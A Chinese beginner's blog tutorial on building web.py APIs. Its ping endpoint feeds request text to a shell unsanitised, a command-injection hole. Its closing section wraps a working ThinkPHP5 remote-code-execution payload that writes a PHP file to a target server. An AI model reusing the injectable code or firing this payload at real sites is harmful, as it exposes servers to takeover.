首頁>技術>

看著網際網路上各種各樣的API介面十分歡喜,奈何因為收費望而卻步,於是筆者在經過網上資訊檢索後,選擇了最簡單的Python3 Web.py 庫作為菜鳥入門學習教程,並實現一些小功能,希望對萌新小白們有所幫助!

開發環境:

系統:安卓10

工具:Termux

編輯器:vim

語言:Python3

上傳方法:ftp協議

除錯環境:

系統:Windows2008(阿里雲)

環境:Python3.7.6 + Web.py

說明:建議要使用最適合自己的開發環境,在win環境可以選擇VS Code等編輯器來開發。

如何安裝運營環境

伺服器端安裝示例(Windows 2008)

Python3環境的安裝:

對於Python3的安裝,你只需要到官網下載適合你的安裝包安裝即可!

如果你下載的是ZIP包,請自己配置好環境變數,如果你是下載的視覺化安裝程式,請記得勾選新增環境變數選項!

Web.py 庫的安裝:

在開始安裝之前,請記得在PowerShell裡執行下面的命令,我們需要先升級pip,升級命令是這樣:

pip install --upgrade pip

在升級完成後,便可以開始安裝我們需要的Web庫了。

pip install web.py

如何編寫

如同眾多程式語言一般,我們先來寫個HelloWord:

檔名:sever.py

#-*- coding:utf-8 -*-import web #匯入web庫#URL控制urls = (  #訪問index的時候,執行index方法  '/index(.*)', 'index',)#index方法class index:  def GET(self, text):  index = "hello word!"  return index#主函式開始if __name__ == "__main__":  app = web.application(urls, globals())  app.run()

接著我們在指定埠執行這個指令碼:

python sever.py 80

此時,我們訪問:127.0.0.1:80,應該在瀏覽器中能看到這樣的內容:

hello word!

這就滿足了嗎?

不,最起碼,得有個漂亮的樣式,經過簡單的搜尋,發現Web.py提供的方法太麻煩了,於是,我們可以這樣:

請注意,此刻我們不需要去暫停控制檯,可以直接去修改程式碼後重新整理瀏覽器就好了!

先在跟Sever.py同一目錄下建立index.html,這個html裡的檔案自己想寫啥就寫啥,然後我們修改程式碼:

#index方法class index:  def GET(self, text):  index = open("./index.html", 'r',encoding="utf-8")  index = index.read()  return index

接著再來重新整理瀏覽器,就會發現介面變成了你想要的樣子,這說明html檔案裡的標籤被渲染了。

如何開發API

有這樣一道題:給定這樣幾個字母:a,e,t,請組成單詞。

筆者的程式碼:

import sysfrom itertools import permutationsdef exhaustive_combination_def(exhaustive_combination):  b = ""  arr = exhaustive_combination.split(",")  for a in permutations(arr):  a = "".join(a)  b = b + a + ","  #print(a)  return bif __name__ == "__main__":  i="a,e,t"  i=exhaustive_combination_def(i)  print(i)

執行後,我收穫了結果:

aet,ate,eat,eta,tae,tea,

放到百度翻譯,人生圓滿了。

為了維護方便,我們API是一個py檔案,sever是一個檔案,這樣最好。

api.py

#-*- coding:utf-8 -*-import sysfrom itertools import permutationsdef exhaustive_combination_def(exhaustive_combination):  b = ""  dzarr = exhaustive_combination.split(",")  for a in permutations(dzarr):  a = "".join(a)  b = b + a + ","  return b

sever.py

#-*- coding:utf-8 -*-import web #匯入web庫#從檔案api.py中引用自定義函式:exhaustive_combination_deffrom api import exhaustive_combination_def#URL控制urls = (  #訪問index的時候,執行index方法  '/index(.*)', 'index',  #訪問api_one,執行exhaustive_combination方法  '/api_one/(.*)', 'exhaustive_combination',)#exhaustive_combination方法class exhaustive_combination:  #text接收的是get請求內容  def GET(self, text):  #變數 a 接收傳回的返回值  a=exhaustive_combination_def(text)  #返回 a 的內容給瀏覽器  return aindex方法class index:  def GET(self, text):  index = open("./index.html", 'r',encoding="utf-8")  index = index.read()  return indexif __name__ == "__main__":  app = web.application(urls, globals())  app.run()

訪問地址:

http://127.0.0.1/api_one/a,e,t

成功在瀏覽器返回:

aet,ate,eat,eta,tae,tea,

這樣一個簡單的API就寫好了。

這個時候,我們可以完全通過python寫一個自己想要的API。

比如,我們來寫一個返回Ping命令結果的:

ping.py

# -*- coding: utf-8 -*-import subprocessimport redef ping_url(url):  ping = subprocess.Popen(["ping.exe", url],  stdin = subprocess.PIPE,  stdout = subprocess.PIPE,  stderr = subprocess.PIPE,  shell = True)  out = ping.stdout.read()  out = out.decode('gbk')  return out

sever.py

#-*- coding:utf-8 -*-import web #匯入web庫#從檔案api.py中引用自定義函式:exhaustive_combination_deffrom api import exhaustive_combination_def#從檔案ping.py中引用自定義函式:ping_urlfrom ping import ping_url#URL控制urls = (  #訪問index的時候,執行index方法  '/index(.*)', 'index',  #訪問api_one,執行exhaustive_combination方法  '/api_one/(.*)', 'exhaustive_combination',  #訪問ping,執行ping方法  '/ping_api/(.*)','ping_api',)#ping方法class ping_api:  def GET(self, text):  a = "<html><head><meta charset=\\"utf-8\\"><pre>"  b = ping_url(text)  c = "</pre></head></html>"  a = a + b + c  return a#exhaustive_combination方法class exhaustive_combination:  #text接收的是get請求內容  def GET(self, text):  #變數 a 接收傳回的返回值  a=exhaustive_combination_def(text)  #返回 a 的內容給瀏覽器  return a#index方法class index:  def GET(self, text):  index = open("./index.html", 'r',encoding="utf-8")  index = index.read()  return indexif __name__ == "__main__":  app = web.application(urls, globals())  app.run()

訪問:

http://127.0.0.1/ping_api/www.20191005.tech

成功返回內容:

正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 位元組的資料:來自 150.109.19.98 的回覆: 位元組=32 時間=949ms TTL=47來自 150.109.19.98 的回覆: 位元組=32 時間=1111ms TTL=47來自 150.109.19.98 的回覆: 位元組=32 時間=1162ms TTL=47來自 150.109.19.98 的回覆: 位元組=32 時間=1156ms TTL=47150.109.19.98 的 Ping 統計資訊:  資料包: 已傳送 = 4,已接收 = 4,丟失 = 0 (0% 丟失),往返行程的估計時間(以毫秒為單位):  最短 = 949ms,最長 = 1162ms,平均 = 1094ms

擴充套件設想

在編寫工具時,我們很多時候用到的語言都是Python,然而我們編寫的一些圖形化工具隨著不斷的流傳,很容易流傳到不法分子手中,我們完全可以通過這種API式的去開發工具。

當工具流竄出去,我們要阻止不法分子的時候,可以直接在伺服器端ban了他的ip ,直接導致你的工具在他手中無法使用,或者直接改變介面引數,導致不法分子的工具失效,當然為了安全性可以加上一個基於介面的驗證方案,來驗證工具的使用者。

拿thinkphp5來做一個例子:

樣例自定義函式:

#-*- coding:utf-8 -*-import requestsimport re#命令執行def thinkphp5_api(url):  poc = "?s=/index/\\\\think\\\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"  filename ="name.php"  url = str(url + poc + filename)  try:  page = requests.get(url)  zhuangtia = page.status_code  qingqiutou = page.headers  a = "【*】請求狀態:" + str(zhuangtia) + "\\n【*】寫入路徑:" + filename + "\\n【*】請求頭:\\n" + str(qingqiutou)  return a  except:  return "寫入狀態異常!"

實際效果:

這種方法筆者認為非常便於控制工具的流通,你只需要通過指定你允許的IP可以訪問到伺服器API,就可以將工具放心的傳給團隊內的其他使用者!

如果本文激發了你對API開發的想法,不妨去試一試,對於Windows圖形介面程式的開發,多種多樣,你可以選擇C#的WPF或者易語言,這兩者對於圖形介面的開發基本都是直接繪製,上手速度更加快速!

最新評論
  • BSA-TRITC(10mg/ml) TRITC-BSA 牛血清白蛋白改性標記羅丹明
  • 《SpringMVC 進階版》